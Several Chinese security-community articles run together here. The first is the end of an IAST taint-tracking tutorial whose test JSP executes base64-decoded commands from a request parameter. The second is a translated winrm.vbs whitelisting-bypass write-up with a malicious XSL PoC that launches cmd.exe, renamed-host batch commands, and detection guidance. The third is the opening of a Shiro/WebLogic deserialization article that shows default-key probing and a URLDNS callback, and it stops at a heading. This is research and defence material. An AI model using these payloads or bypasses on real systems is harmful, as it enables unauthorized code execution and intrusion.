Type returnType = Type.getReturnType(desc);
if (returnType == null || Type.VOID_TYPE.equals(returnType)) {
push((Type) null);
} else {
mv.visitInsn(Opcodes.DUP);
}
push(className);
push(name);
push(desc);
push(isStatic);
mv.visitMethodInsn(INVOKESTATIC, "cn/org/javaweb/iast/core/Source", "leaveSource", "(Ljava/lang/Object;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Z)V", false);
super.onMethodExit(opcode);
}
};
}
return mv;
}
}
以上代码的逻辑，只是简单的对于`getParameter`进行了埋点处理，让其调用IAST的处理逻辑，编译到JVM的Class内容如下：
可以看到，在进入方法后调用了`cn.org.javaweb.iast.core.Source#enterSource`，具体内容如下：
public static void enterSource(Object[] argumentArray,
String javaClassName,
String javaMethodName,
String javaMethodDesc,
boolean isStatic) {
if (haveEnterHttp()) {
CallChain callChain = new CallChain();
callChain.setChainType("enterSource");
callChain.setArgumentArray(argumentArray);
callChain.setJavaClassName(javaClassName);
callChain.setJavaMethodName(javaMethodName);
callChain.setJavaMethodDesc(javaMethodDesc);
callChain.setStatic(isStatic);
RequestContext.getHttpRequestContextThreadLocal().addCallChain(callChain);
}
}
对参数、类名、方法名、描述符等信息添加到了callChain中.
在方法结束前获取了返回值，并且调用了`cn.org.javaweb.iast.core.Source#leaveSource`方法，将返回值传入了进去，那么在处理的时候，就将其结果放到了`callChain.returnObject`。
## **实现Propagator埋点**
传播点的选择是非常关键的，传播点规则覆盖的越广得到的传播链路就会更清晰。比如简单粗暴的对`String`、`Byte`等类进行埋点，因为中间调用这些类的太多了,所以可能导致一个就是结果堆栈太长，不好对调用链进行分析，但是对于传播点的选择，可以更精细化一些去做选择，比如`Base64`的`decode`、`encode`也可以作为传播点进行埋点，以及执行命令的`java.lang.Runtime#exec`也是可以作为传播点的，因为最终执行命令是最底层在不同系统封装的调用执行命令JNI方法的类，如`java.lang.UNIXProcess`等，所以将`java.lang.Runtime#exec`作为传播点也是一个选择。为了方便演示污点传播的效果，对`Base64`的`decode`以及`encode`和`java.lang.Runtime`进行了埋点处理，具体实现代码如下（示例代码为了便于理解未考虑异常处理）:
package cn.org.javaweb.iast.visitor.handler;
import cn.org.javaweb.iast.visitor.Handler;
import org.objectweb.asm.MethodVisitor;
import org.objectweb.asm.Opcodes;
import org.objectweb.asm.Type;
import org.objectweb.asm.commons.AdviceAdapter;
import java.lang.reflect.Modifier;
/**
* @author iiusky - 03sec.com
*/
public class PropagatorClassVisitorHandler implements Handler {
private static final String METHOD_DESC = "(Ljava/lang/String;)[B";
private static final String CLASS_NAME = "java.lang.Runtime";
@Override
public MethodVisitor ClassVisitorHandler(MethodVisitor mv, final String className, int access,
final String name, final String desc, String signature, String[] exceptions) {
if ((name.contains("decode") && METHOD_DESC.equals(desc)) || CLASS_NAME.equals(className)) {
final boolean isStatic = Modifier.isStatic(access);
final Type argsType = Type.getType(Object[].class);
if (((access & Opcodes.ACC_NATIVE) == Opcodes.ACC_NATIVE) || className
.contains("cn.org.javaweb.iast")) {
System.out.println(
"Propagator Process Skip 类名:" + className + ",方法名: " + name + "方法的描述符是：" + desc);
} else {
System.out
.println("Propagator Process 类名:" + className + ",方法名: " + name + "方法的描述符是：" + desc);
return new AdviceAdapter(Opcodes.ASM5, mv, access, name, desc) {
@Override
protected void onMethodEnter() {
loadArgArray();
int argsIndex = newLocal(argsType);
storeLocal(argsIndex, argsType);
loadLocal(argsIndex);
push(className);
push(name);
push(desc);
push(isStatic);
mv.visitMethodInsn(INVOKESTATIC, "cn/org/javaweb/iast/core/Propagator",
"enterPropagator",
"([Ljava/lang/Object;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Z)V",
false);
super.onMethodEnter();
}
@Override
protected void onMethodExit(int opcode) {
Type returnType = Type.getReturnType(desc);
if (returnType == null || Type.VOID_TYPE.equals(returnType)) {
push((Type) null);
} else {
mv.visitInsn(Opcodes.DUP);
}
push(className);
push(name);
push(desc);
push(isStatic);
mv.visitMethodInsn(INVOKESTATIC, "cn/org/javaweb/iast/core/Propagator",
"leavePropagator",
"(Ljava/lang/Object;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Z)V",
false);
super.onMethodExit(opcode);
}
};
}
}
return mv;
}
}
真正运行在JVM中的类如下:
java.util.Base64$Decoder#decode
java.lang.Runtime
可以看到其实也是在方法进入后和方法离开前插入了IAST的代码逻辑，以便直观的观察到入参值以及返回值发生的变化。
## **实现Sink埋点**
对于Sink点的选择，其实和找RASP最终危险方法的思路一致，只限找到危险操作真正触发的方法进行埋点即可，比如`java.lang.UNIXProcess#forkAndExec`方法，这种给`java.lang.UNIXProcess#forkAndExec`下点的方式太底层，如果不想这么底层，也可以仅对`java.lang.ProcessBuilder#start`方法或者`java.lang.ProcessImpl#start`进行埋点处理。本次实验选择了对`java.lang.ProcessBuilder#start`进行埋点处理，具体实现代码如下（示例代码为了便于理解未考虑异常处理）:
package cn.org.javaweb.iast.visitor.handler;
import cn.org.javaweb.iast.visitor.Handler;
import org.objectweb.asm.MethodVisitor;
import org.objectweb.asm.Opcodes;
import org.objectweb.asm.Type;
import org.objectweb.asm.commons.AdviceAdapter;
import java.lang.reflect.Modifier;
/**
* @author iiusky - 03sec.com
*/
public class SinkClassVisitorHandler implements Handler {
private static final String METHOD_DESC = "()Ljava/lang/Process;";
@Override
public MethodVisitor ClassVisitorHandler(MethodVisitor mv, final String className, int access,
final String name, final String desc, String signature, String[] exceptions) {
if (("start".equals(name) && METHOD_DESC.equals(desc))) {
final boolean isStatic = Modifier.isStatic(access);
final Type argsType = Type.getType(Object[].class);
System.out.println("Sink Process 类名:" + className + ",方法名: " + name + "方法的描述符是：" + desc);
return new AdviceAdapter(Opcodes.ASM5, mv, access, name, desc) {
@Override
protected void onMethodEnter() {
loadArgArray();
int argsIndex = newLocal(argsType);
storeLocal(argsIndex, argsType);
loadThis();
loadLocal(argsIndex);
push(className);
push(name);
push(desc);
push(isStatic);
mv.visitMethodInsn(INVOKESTATIC, "cn/org/javaweb/iast/core/Sink", "enterSink",
"([Ljava/lang/Object;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Z)V",
false);
super.onMethodEnter();
}
};
}
return mv;
}
}
在这次实验中，选择了对所有方法名为`start`且方法描述为`()Ljava/lang/Process;`的类进行埋点，其实也就是对`java.lang.ProcessBuilder#start`进行埋点处理。最终运行在JVM中的class如下：
在方法进去后调用了IAST的`cn.org.javaweb.iast.core.Sink#enterSink`方法，以此来确定一个调用链是否已经到达危险函数执行点。对于Sink，除了整体处理逻辑与`Propagator`以及`Source`相似，多了一个`setStackTraceElement`的操作，目的是将在触发`Sink`点的堆栈将其保存下来，方便后面使用分析。具体代码如下：
public static void enterSink(Object[] argumentArray,
String javaClassName,
String javaMethodName,
String javaMethodDesc,
boolean isStatic) {
if (haveEnterHttp()) {
CallChain callChain = new CallChain();
callChain.setChainType("enterSink");
callChain.setArgumentArray(argumentArray);
callChain.setJavaClassName(javaClassName);
callChain.setJavaMethodName(javaMethodName);
callChain.setJavaMethodDesc(javaMethodDesc);
callChain.setStatic(isStatic);
callChain.setStackTraceElement(Thread.currentThread().getStackTrace());
RequestContext.getHttpRequestContextThreadLocal().addCallChain(callChain);
}
}
## **结果验证**
全部实现完成后，写一个jsp来执行命令试试看，代码如下:
> 该JSP接收一个参数，然后对该参数进行base64解码后传入Runtime.exec中来执行命令，最后输出执行结果。
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Base64" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<pre>
<%
String sb = request.getParameter("cmd");
byte[] decode = Base64.getDecoder().decode(sb);
Process process = Runtime.getRuntime().exec(new String(decode));
InputStream in = process.getInputStream();
int a = 0;
byte[] b = new byte[1024];
while ((a = in.read(b)) != -1) {
out.println(new String(b, 0, a));
}
in.close();
%>
</pre>
接着编译agent，将其加入到tomcat的启动命令中，部署jsp页面，访问结果。
可见，首先触发了`getParameter`方法中的Source埋点，传入的参数为`cmd`，获取到的结果为`CHdK`，接着连续触发了5次Propagator点。
第一次触发的Propagator点位于`Base64`类中`decode`方法，传入的参数是`CHdK`，返回值为`pwd`(原始返回为[]byte,为了方便展示，对其转为了字符串)，这时候已经可以初步看到了参数的获取到base64解码，也就是原始source点已经发生了变化。
第二次触发的埋点信息为获取一个`Runtime`对象，调用的是`java.lang.Runtime#getRuntime`,传入的参数为空，返回的结果为一个Runtime的对象信息，其实就是实例化了一个`java.lang.Runtime`对象，这次可以观察到一个小细节，就是这个返回对象发生了变化，但是并没有传入任何参数。
第三次触发的埋点信息为调用`java.lang.Runtime#exec`方法(接收参数类型为:`String`)，传入的值是`pwn`，在这次调用中可以看到，第一次Propagator点的返回值作为了入参传入了这次调用，但是紧接着并触发没有想象中的`leavePropagator`方法，而是调用了另一个`exec`方法。
第四次触发的埋点信息为调用`java.lang.Runtime#exec`方法(接收参数类型为:`String、String[]、File`)，其中第一个参数的值为`pwn`，而其它参数为`null`(本文不讨论如何确定第几个参数是污染点的问题，这个可以通过加规则去逐步完善)。在这次调用中可以看到，第三次中传递过来的`pwn`没有发生变化，然而也没有触发`leavePropagator`方法，由此可以推测出来这个方法内部继续调用了在规则里面预先匹配到的方法。
第五次触发的埋点信息为调用`java.lang.Runtime#exec`方法(接收参数类型为:`String[]、String[]、File`)，传入的值是`[[Ljava.lang.String;@58ed07d8,
null,
null]`，这时候就看到了在传入的值由`pwn`变为了一个`String`数组类型的对象，返回到第四次触发的埋点看，其实就可以看到`var`6其实是最开始是由`var1`，也就是入参值`pwn`转换得到的。然后可以看到在当前调用的方法里面，又调用了规则中的Sink点（`java.lang.ProcessBuilder#start`）方法。
以上就是大概从Srouce点(`getParameter`)，经过中间的Propagator点(`java.util.Base64$Decoder#decode、java.lang.Runtime#getRuntime、java.lang.Runtime#exec`)到最终Sink点(`java.lang.ProcessBuilder#start`)的整体大概流程了。
## **总结**
在本次实验中，将`java.lang.Runtime`作为了传播点，其实在整体流程访问结束后，这个传播点才会有返回值返回回来，他是在传播的过程中调用到了Sink点。
那么对于这种情况，是否应该摒弃将`java.lang.Runtime`作为传播点呢？这其实应该就是仁者见仁智者见智了，对于整体IAST的流程，其实和RASP流程差不多，但是对于传播点的选择，目前大家更多的是基于规则(正则or继承类)判断去覆盖其中的传播链，或者更简单粗暴的对`String`、`Byte`进行埋点，但是需要处理的细节也就更多了，以及对于在整条链路中的无用调用也需要处理。是否有一种一劳永逸的办法可以完整的拿到整条污点传播链路，从而抛弃基于规则的对传播点进行人为覆盖，这个可能就需要进行更加深入的研究了。
在这次实现的demo中，并没有结合真正业务去实现，以及IAST的其它功能点去展开研究，比如流量重放、SCA、污点在方法中的参数位置等功能。如果仅仅是想融入DevSecOps中，可以基于开源的APM项目实现一个简易的IAST，根据具体的一些公司开发规范，去定制一些规则点，来减少因为某些问题导致的误报情况。
**参考链接**
<https://www.03sec.com/Ideas/qian-tanrasp-ji-shu-gong-fang-zhi-shi-zhan-huan-ji.html>
<https://www.freebuf.com/sectool/290671.html>
<https://www.gartner.com/reviews/market/application-security-testing>
<https://doc.dongtai.io/>
<http://rui0.cn/archives/1175>
<https://dzone.com/refcardz/introduction-to-iast>
<https://blog.secodis.com/2015/11/26/the-emerge-of-iast/>
* * * | 社区文章 |
原文：<https://posts.specterops.io/application-whitelisting-bypass-and-arbitrary-unsigned-code-execution-technique-in-winrm-vbs-c8c24fb40404>
由于winrm.vbs（System32中已签名的Windows脚本）能够使用和执行受攻击者控制的XSL脚本，并且XSL脚本不受“[开明脚本宿主](https://bugs.chromium.org/p/project-zero/issues/detail?id=1514 "开明脚本宿主")”限制，因此，导致攻击者可以执行任意的、未签名的代码。
当我们向winrm.vbs提供“-format：pretty”或“-format：text”选项时，它会从cscript.exe所在的目录中提取对应的WsmPty.xsl或WsmTxt.xsl文件。这就意味着，如果攻击者将cscript.exe复制到自己控制的恶意XSL所在的位置，就能实现执行任意未签名代码的目的。实际上，这种攻击方式与Casey
Smith提出的[wmic.exe技术](https://subt0x11.blogspot.com/2018/04/wmicexe-whitelisting-bypass-hacking.html "wmic.exe技术")基本上是一个路数。
**概念证明**
* * *
攻击过程如下所示：
1. 将恶意WsmPty.xsl或WsmTxt.xsl投递到攻击者控制的位置。
2. 将cscript.exe（或wscript.exe，需要用到后面介绍的技巧）复制到同一位置。
3. 执行winrm.vbs，并通过“-format”开关指定“pretty”或“text”，具体取决于要投递的.XSL文件：WsmPty.xsl或WsmTxt.xsl。
下面是一个“恶意的”XSL示例，需要放到攻击者控制的目录中（对于本例而言，该目录为C:\BypassDir\WsmPty.xsl）：
<?xml version='1.0'?>
<stylesheet
xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"
xmlns:user="placeholder"
version="1.0">
<output method="text"></output>
<ms:script implements-prefix="user" language="JScript">
<![CDATA[
var r = new ActiveXObject("WScript.Shell").Run("cmd.exe");
]]> </ms:script>
</stylesheet>
为了将WsmPty.xsl武器化，需要用到一个嵌入式的[DotNetToJScript](https://github.com/tyranid/DotNetToJScript
"DotNetToJScript")有效载荷，用于执行任意的未签名代码。
在投递WsmPty.xsl后，可以使用下面的批处理文件来启动该有效载荷：
mkdir %SystemDrive%\BypassDir
copy %windir%\System32\cscript.exe %SystemDrive%\BypassDir
%SystemDrive%\BypassDir\cscript //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty
**我是如何发现该绕过技术的**
* * *
这个安全问题的发现，基本上是一个巧合。在使用[基于XSL的wmic.exe绕过技术](https://subt0x11.blogspot.com/2018/04/wmicexe-whitelisting-bypass-hacking.html
"基于XSL的wmic.exe绕过技术")后不久，我碰巧审计了一些系统内置的VBS和JScript文件（即WSH脚本），为的是找到更多的旁路方法。之所以审计这些文件类型，主要是受到了[Matt
Nelson](https://twitter.com/enigma0x3 "Matt
Nelson")的启发——他的[purprn.vbs注入技术](https://enigma0x3.net/2017/08/03/wsh-injection-a-case-study/
"purprn.vbs注入技术")引起了我的浓厚兴趣。在阅读winrm.vbs的源代码时，字符串“WsmPty.xsl”和“WsmTxt.xsl”立即映入我的眼帘，正如Casey在他的文章中所展示的那样，使用XSL的应用程序很有可能允许任意代码执行，方法是将WSH脚本内容嵌入到XSL文件中。不出所料，winrm.vbs也不例外。
老实说，在“猎捕”可用于执行任意未签名代码的已签名脚本和二进制文件方面，我确实有着特殊的嗜好，这是因为它们不仅可以绕过应用程序白名单，而且也不太可能被安全产品检测到（至少，在它们被公之于众之前是这样的）。所以，我总是乐此不疲的到处“围猎”！
**检测方法和规避策略**
* * *
为了构建针对该技术的鲁棒检测方法，重点在于识别执行该技术所需的最小组件集。
* 攻击者控制的WsmPty.xsl或WsmTxt.xsl，这是必须投放的。
对于WsmPty.xsl和WsmTxt.xsl来说，都是硬编码在winrm.vbs中的，并明确地为其指定了“pretty”和“text”选项。同时，似乎没有办法可以让winrm.vbs使用来自使用XSL有效载荷的可执行文件（即大多数情况下为cscript.exe）的当前工作目录以外的目录中的XSL文件。因此，从检测角度来看，如果某些WsmPty.xsl或WsmTxt.xsl文件的哈希值不同于System32中这些文件的哈希值，那么这些文件就相当可疑。幸运的是，合法的XSL文件的哈希值很少。
此外，合法的WsmPty.xsl和WsmTxt.xsl文件采用的是目录签名。所以，只要它们的哈希值出现任何变化，就无法对其进行签名。换句话说，磁盘上未签名的任何WsmPty.xsl或WsmTxt.xsl都应该引起我们的怀疑。请注意，使用目录签名验证（catalog
signature validation）时，要求运行“cryptsvc”服务。
* 必须执行签名的winrm.vbs。如果攻击者需要编辑winrm.vbs的内容的话，那么这个绕过方法明显不适用。
基于命令行中winrm.vbs的存在性的检测方法并不理想，因为攻击者可以将winrm.vbs重命名为自己选择的名称。
* 必须将“format”参数的值指定为“pretty”或“text”，才能使用相应XSL文件。
对于“format”参数来说，以下取值都是允许的；注意，这里不区分大小写：
-format:pretty
-format:"pretty"
/format:pretty
/format:"pretty"
-format:text
-format:"text"
/format:text
/format:"text"
如果单纯通过“format”的存在来构建检测方法的话，则需要捕获该参数值的所有变体，并且检测结果容易出现假阳性。“format”参数的使用，在多大程度是合法的，要视具体的组织而定。然而，除非从cscript.exe调用System32中的winrm.vbs，否则，就非常可疑。
* 脚本winrm.vbs应该从cscript.exe中执行。该脚本中有验证这一点的逻辑。
winrm.vbs脚本会通过检查WScript.FullName（宿主二进制文件的完整路径）是否包含“cscript.exe”来判断自己是否是从cscript.exe中执行的。这个检测方法不够严谨，因为它只检查“cscript.exe”是否位于完整路径中。这对攻击者来说，就意味着如果利用重命名的cscript.exe或者使用另一个脚本宿主二进制文件（如wscript.exe）来启动winrm.vbs的话，就可以顺利绕过该检测。例如，下面的.bat代码就能够顺利绕过“cscript.exe”检查。
mkdir %SystemDrive%\BypassDir\cscript.exe
copy %windir%\System32\wscript.exe %SystemDrive%\BypassDir\cscript.exe\winword.exe
%SystemDrive%\BypassDir\cscript.exe\winword.exe //nologo %windir%\System32\winrm.vbs get wmicimv2/Win32_Process?Handle=4 -format:pretty
**关于检测方法的鲁棒性**
* * *
* PoC示例中之所以选择get wmicimv2 / Win32_Process？Handle = 4参数，是因为返回某些东西的命令行参数对演示非常有用，但是这里假设WinRM服务已启用。请注意，对于该绕过技术来说，即使不启用WinRM服务，它照样能够正常工作。此外，还有许多其他选项也支持"format"参数，不过，这些选项没有表现出任何形式的恶意意图。
* 健壮的检测方法不应该通过在命令行中查找cscript.exe或wscript.exe来实现。虽然当攻击者没有采取伪装措施时，这种方法简单有效，但攻击者只需复制并重命名WSH宿主可执行文件，就能轻松绕过该检测方法。更加强大的进程执行检测需要使用“Original filename”以及对应二进制文件的签名。对文件签名时，“Original filename”（是嵌入在资源部分内的“version info”的一个组件）也是哈希计算的一部分。如果攻击者试图修改WSH宿主可执行文件中嵌入的任何资源的话，那么签名就会失效。
**缓解与预防策略**
* * *
通过Windows
Defender应用程序控制（WDAC）强制实施用户模式代码完整性（UMCI）检测，可以防御该绕过技术。由于没有其他强大的方法可以阻止易受攻击的已签名脚本，因此需要使用哈希值来阻止该脚本易受攻击的各个版本。然而，识别脚本的所有易受攻击的版本是非常困难的，因为防御者不可能在所有可能的Windows版本中捕获所有易受攻击的winrm.vbs版本的所有哈希值。这篇[文章](https://posts.specterops.io/assessing-the-effectiveness-of-hash-based-application-whitelisting-blacklist-rules-fe1cb01975a9 "文章")详细介绍了脚本黑名单方法的无效性。
至于缓解方法，就是让Microsoft修复该脚本中的问题，并公布新的目录签名（catalog
signature）。这样做会将脚本的先前易受攻击的版本变为未签名的。因此，如果使用WDAC强制实施脚本签名检查，则以前易受攻击的winrm.vbs版本将无法执行。但是，这个方案仅能阻止非管理员执行易受攻击的winrm.vbs版本的情形。但是，如果攻击者以管理员身份运行代码的攻击者，仍然可以安装以前的目录签名，这样就又能够执行易受攻击的winrm.vbs版本了。
上述两种预防/缓解方案都依赖于WDAC的实施。考虑到绝大多数公司都没有启用WDAC，即使使用修复后的winrm.vbs，也没有什么能阻止攻击者将易受攻击的winrm.vbs版本放到磁盘上并执行它。最后，即使修复了winrm.vbs，也找不到可的预防方法。
**WSH/XSL脚本的分析诊断**
* * *
对于XSL和WSH脚本来说，这既不是第一次，也肯定不会是最后一次被攻击者滥用。理想情况下，攻击者应该能够清楚有效载荷的执行情况，无论它们是从磁盘执行的，还是完全在内存中执行的。这方面，PowerShell提供了现成的手段，即[scriptblock日志记录](https://blogs.msdn.microsoft.com/powershell/2015/06/09/powershell-the-blue-team/
"scriptblock日志记录")功能。但是，对于WSH内容来说，还没有这样的等价功能。不过，如果您熟悉ETW的话，通过引入[反恶意软件扫描接口](https://cloudblogs.microsoft.com/microsoftsecure/2015/06/09/windows-10-to-offer-application-developers-new-malware-defenses/
"反恶意软件扫描接口")（AMSI），就可以捕获WSH相关内容。
AMSI的分析诊断数据是通过Microsoft-Antimalware-Scan-Interface
ETW提供程序交付的。如果您要尝试捕获AMSI事件的话，最好的程序库之一就是[KrabsETW](https://github.com/Microsoft/krabsetw
"KrabsETW")。不过，如果只是进行简单的实验的话，完全可以使用logman.exe来捕获ETL跟踪信息。例如，以下命令可以用来启动和停止ETW跟踪，并将AMSI相关事件保存到AMSITrace.etl：
logman start AMSITrace -p Microsoft-Antimalware-Scan-Interface Event1 -o AMSITrace.etl -ets
<After starting the trace, this is when you'd run your malicious code to capture its context.>
logman stop AMSITrace -ets
虽然ETW的运行机制超出了本文的介绍范围，但读者可能对我是如何了解Microsoft-Antimalware-Scan-Interface
ETW提供程序以及“Event1”关键字的来源的非常好奇，所以下面我就简单说一下。
我是通过logman query
providers命令查询已注册的提供程序，进而掌握ETW提供程序的名称的。而“Event1”则对应于捕获AMSI上下文的关键字。为了找到该关键字，我使用[perfview.exe](https://twitter.com/mattifestation/status/774321379411955712
"perfview.exe")将ETW清单转储为XML。通过该清单，我们还能弄清楚可以通过提供程序收集哪些事件。
<instrumentationManifest xmlns="http://schemas.microsoft.com/win/2004/08/events">
<instrumentation xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:win="http://manifests.microsoft.com/win/2004/08/windows/events">
<events>
<provider name="Microsoft-Antimalware-Scan-Interface" guid="{2a576b87-09a7-520e-c21a-4942f0271d67}" resourceFileName="Microsoft-Antimalware-Scan-Interface" messageFileName="Microsoft-Antimalware-Scan-Interface" symbol="MicrosoftAntimalwareScanInterface" source="Xml" >
<keywords>
<keyword name="Event1" message="$(string.keyword_Event1)" mask="0x1"></keyword>
</keywords>
<tasks>
<task name="task_0" message="$(string.task_task_0)" value="0"></task>
</tasks>
<events>
<event value="1101" symbol="task_0" version="0" task="task_0" level="win:Informational" keywords="Event1" template="task_0Args"></event>
</events>
<templates>
<template tid="task_0Args">
<data name="session" inType="win:Pointer"></data>
<data name="scanStatus" inType="win:UInt8"></data>
<data name="scanResult" inType="win:UInt32"></data>
<data name="appname" inType="win:UnicodeString"></data>
<data name="contentname" inType="win:UnicodeString"></data>
<data name="contentsize" inType="win:UInt32"></data>
<data name="originalsize" inType="win:UInt32"></data>
<data name="content" inType="win:Binary" length="contentsize"></data>
<data name="hash" inType="win:Binary"></data>
<data name="contentFiltered" inType="win:Boolean"></data>
</template>
</templates>
</provider>
</events>
</instrumentation>
<localization>
<resources culture="en-US">
<stringTable>
<string id="keyword_Event1" value="Event1"></string>
<string id="task_task_0" value="task_0"></string>
</stringTable>
</resources>
</localization>
</instrumentationManifest>
捕获.ETL跟踪后，我们可以使用自己喜欢的工具进行分析。实际上，PowerShell中的Get-WinEvent就是一个很棒的内置.ETL解析器。此外，我还编写了一个简短的脚本来演示如何解析AMSI事件。请注意，由于WSH无法提供“contentname”属性，所以，我们需要手动解析事件数据。另外，该脚本还能够捕获PowerShell内容。
# Script author: Matt Graeber (@mattifestation)
# logman start AMSITrace -p Microsoft-Antimalware-Scan-Interface Event1 -o AMSITrace.etl -ets
# Do your malicious things here that would be logged by AMSI
# logman stop AMSITrace -ets
$OSArchProperty = Get-CimInstance -ClassName Win32_OperatingSystem -Property OSArchitecture
$OSArch = $OSArchProperty.OSArchitecture
$OSPointerSize = 32
if ($OSArch -eq '64-bit') { $OSPointerSize = 64 }
$AMSIScanEvents = Get-WinEvent -Path .\AMSITrace.etl -Oldest -FilterXPath '*[System[EventID=1101]]' | ForEach-Object {
if (-not $_.Properties) {
# The AMSI provider is not supplying the contentname property when WSH content is logged resulting
# in Get-WinEvent or Event Viewer being unable to parse the data based on the schema.
# If this bug were not present, retrieving WSH content would be trivial.
$PayloadString = ([Xml] $_.ToXml()).Event.ProcessingErrorData.EventPayload
[Byte[]] $PayloadBytes = ($PayloadString -split '([0-9A-F]{2})' | Where-Object {$_} | ForEach-Object {[Byte] "0x$_"})
$MemoryStream = New-Object -TypeName IO.MemoryStream -ArgumentList @(,$PayloadBytes)
$BinaryReader = New-Object -TypeName IO.BinaryReader -ArgumentList $MemoryStream, ([Text.Encoding]::Unicode)
switch ($OSPointerSize) {
32 { $Session = $BinaryReader.ReadUInt32() }
64 { $Session = $BinaryReader.ReadUInt64() }
}
$ScanStatus = $BinaryReader.ReadByte()
$ScanResult = $BinaryReader.ReadInt32()
$StringBuilder = New-Object -TypeName Text.StringBuilder
do { $CharVal = $BinaryReader.ReadInt16(); $null = $StringBuilder.Append([Char] $CharVal) } while ($CharVal -ne 0)
$AppName = $StringBuilder.ToString()
$null = $StringBuilder.Clear()
$ContentSize = $BinaryReader.ReadInt32()
$OriginalSize = $BinaryReader.ReadInt32()
$ContentRaw = $BinaryReader.ReadBytes($ContentSize)
$Content = [Text.Encoding]::Unicode.GetString($ContentRaw)
$Hash = [BitConverter]::ToString($BinaryReader.ReadBytes(0x20)).Replace('-', '')
[Bool] $ContentFiltered = $BinaryReader.ReadInt32()
$BinaryReader.Close()
[PSCustomObject] @{
Session = $Session
ScanStatus = $ScanStatus
ScanResult = $ScanResult
AppName = $AppName
ContentName = $null
Content = $Content
Hash = $Hash
ContentFiltered = $ContentFiltered
}
} else {
$Session = $_.Properties[0].Value
$ScanStatus = $_.Properties[1].Value
$ScanResult = $_.Properties[2].Value
$AppName = $_.Properties[3].Value
$ContentName = $_.Properties[4].Value
$Content = [Text.Encoding]::Unicode.GetString($_.Properties[7].Value)
$Hash = [BitConverter]::ToString($_.Properties[8].Value).Replace('-', '')
$ContentFiltered = $_.Properties[9].Value
[PSCustomObject] @{
Session = $Session
ScanStatus = $ScanStatus
ScanResult = $ScanResult
AppName = $AppName
ContentName = $ContentName
Content = $Content
Hash = $Hash
ContentFiltered = $ContentFiltered
}
}
}
$AMSIScanEvents
捕获跟踪记录后，我们还能看到执行的有效载荷的内容。
该示例表明AMSI ETW提供程序从前面引用的PoC XSL有效载荷捕获攻击上下文
基于ETW的分析诊断和检测方法，已经超出了这篇文章的范围，所以不做深入介绍；但希望这个例子可以激发读者进一步研究它们的兴趣。
**漏洞披露时间表**
* * *
我们不仅致力于提高新型攻击技术的透明度，同时，我们也深知，这些技术一旦公开，就会被攻击者迅速采用。因此，在公布新的攻击性技术之前，我们会定期向相关的供应商通报问题，并提供充足的时间来缓解问题；同时，还会通知特定的可信赖供应商，以确保能够尽快向客户交付检测结果。
由于该技术会影响Windows
Defender应用程序控制（通过MSRC提供可维护的安全功能），因此，我们也向Microsoft报告了此问题。该漏洞的披露时间表如下：
* 2018年4月24日 - 向MSRC发送报告
* 2018年4月24日 - 报告得到确认，并分配了一个案例编号
* 2018年4月30日 - 收到电子邮件，指出该问题能够复现
* 2018年5月24日 - 向MSRC发送电子邮件，请求进行更新
* 2018年5月28日 - 回复表明评估仍在进行中
* 2018年6月10日 - 向MSRC发送电子邮件，请求进行更新
* 2018年6月11日 - MSRC的回应称，产品团队计划在8月份完成漏洞修复
* 2018年7月12日 - MSRC的回应称，无法通过安全更新解决该问题，但是可能在v.Next中得到解决 | 社区文章 |
在项目中碰到了Shiro的反序列化，用工具打发现没有成功，然后发现报错是weblogic的，想到了之前研究的WebLogic的几个CVE，遂对其展开研究。
# 纵观全局
本文涉及如下知识点:
1. 如何判断shiro正确的key
2. 构造CVE-2020-2883、CVE-2020-2555 gadget
3. WebLogic 内存shell
4. CVE-2020-2883加载字节码
5. 如何实现Filter类型的蚁剑shell
阅读本文之前，建议先看已经完成好的项目：<https://github.com/Y4er/WebLogic-Shiro-shell>
# 如何判断Shiro正确的key
两种思路
1. 根据Shiro的正确逻辑构造正确的Object
2. URLDNS判断
## 根据Shiro的正确逻辑构造正确的Object
一种思路是 @l1nk3r 师傅在 [《一种另类的 shiro
检测方式》](https://mp.weixin.qq.com/s/do88_4Td1CSeKLmFqhGCuQ) 提出来的，简单说一下。
在 `org.apache.shiro.mgt.AbstractRememberMeManager#getRememberedPrincipals` 中
先获取cookie的bytes，然后进入convertBytesToPrincipals()
在这个方法中先解密byte数组，然后反序列化对象。
反序列化时强制转换为PrincipalCollection类型，那么我们构造一个空的PrincipalCollection对象，key错误时返回rememberMe=deleteMe，正确时不返回。
PrincipalCollection是一个接口，继承他的类有如图
SimplePrincipalCollection就是我们要用的，手动构造
package org.chabug.test;
import org.apache.shiro.subject.SimplePrincipalCollection;
import org.chabug.utils.Serializables;
import org.unicodesec.EncryptUtil;
import java.io.IOException;
public class ShiroKey {
public static void main(String[] args) throws IOException {
SimplePrincipalCollection simplePrincipalCollection = new SimplePrincipalCollection();
byte[] bytes = Serializables.serialize(simplePrincipalCollection);
String key = "kPH+bIxk5D2deZiIxcaaaA==";
String rememberMe = EncryptUtil.shiroEncrypt(key, bytes);
System.out.println(rememberMe);
}
}
key为`kPH+bIxk5D2deZiIxcaaaA==`正确时不返回deleteMe
错误时`AAA+bIxk5D2deZiIxcaaaA==`返回deleteMe
以此通过枚举key判断返回headers中是否出现了deleteMe即可。
## URLDNS判断
很简单了，直接给代码
package org.chabug.test;
import org.chabug.utils.Serializables;
import org.unicodesec.EncryptUtil;
import ysoserial.payloads.URLDNS;
public class ShiroKey {
public static void main(String[] args) throws Exception {
URLDNS urldns = new URLDNS();
Object object = urldns.getObject("http://oq287o.dnslog.cn");
byte[] buf = Serializables.serialize(object);
String key = "kPH+bIxk5D2deZiIxcaaaA==";
String rememberMe = EncryptUtil.shiroEncrypt(key, buf);
System.out.println(rememberMe);
}
}
key正确时会收到DNSLOG请求
到这里，实际项目中判断出来了key为默认的`kPH+bIxk5D2deZiIxcaaaA==`，使用DNSLOG也收到了请求，使用工具跑了一下发现没有可用的gadget。接下来就是根据CVE-2020-2883、CVE-2020-2555这两个CVE来构造gadget进行RCE。
# 构造CVE-2020-2883、CVE-2020-2555 gadget
